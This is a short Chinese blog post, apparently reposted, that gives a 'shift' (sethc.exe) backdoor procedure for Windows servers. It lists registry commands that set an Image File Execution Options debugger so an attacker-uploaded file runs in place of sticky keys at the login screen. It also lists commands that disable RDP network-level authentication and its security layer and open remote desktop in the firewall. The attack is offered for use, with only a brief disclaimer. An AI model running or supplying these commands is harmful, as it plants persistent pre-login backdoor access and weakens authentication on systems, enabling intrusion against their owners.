sethc.exe后门

  • 时间:
  • 来源:互联网
  • 文章标签:

sethc.exe 后门 最稳定替换

  • 使用注册表替换,防止还原
    • 使用方法

使用注册表替换,防止还原

第一次写记录博客,记录下学到的东西。方便自己也方便大家学习。

使用方法

以下为shift后门命令,通杀xp以上所有版本,条件为需要服务器的本机管理员或域管理员

1、已登录到远程服务器,执行以下命令,前三条为开启替换命令,后两条为开启防火墙规则和RDP服务

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v Debugger /t REG_SZ /d "这里为要替换的sethc.exe完整路径(你自己上传的shift后门存放的路径)"
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0
netsh advfirewall firewall set rule group="remote desktop" new enable=yes
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

本博客仅仅用来记录,内容仅供参考!
请不要用于非法的用途。

本文链接http://www.taodudu.cc/news/show-647668.html